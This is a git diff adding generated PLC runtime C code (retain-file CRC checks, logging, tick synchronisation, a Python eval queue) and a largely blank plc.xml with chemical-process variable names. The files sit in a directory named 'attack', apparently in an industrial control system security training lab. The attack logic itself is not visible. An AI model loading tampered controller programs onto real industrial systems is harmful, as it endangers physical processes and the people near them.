+#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 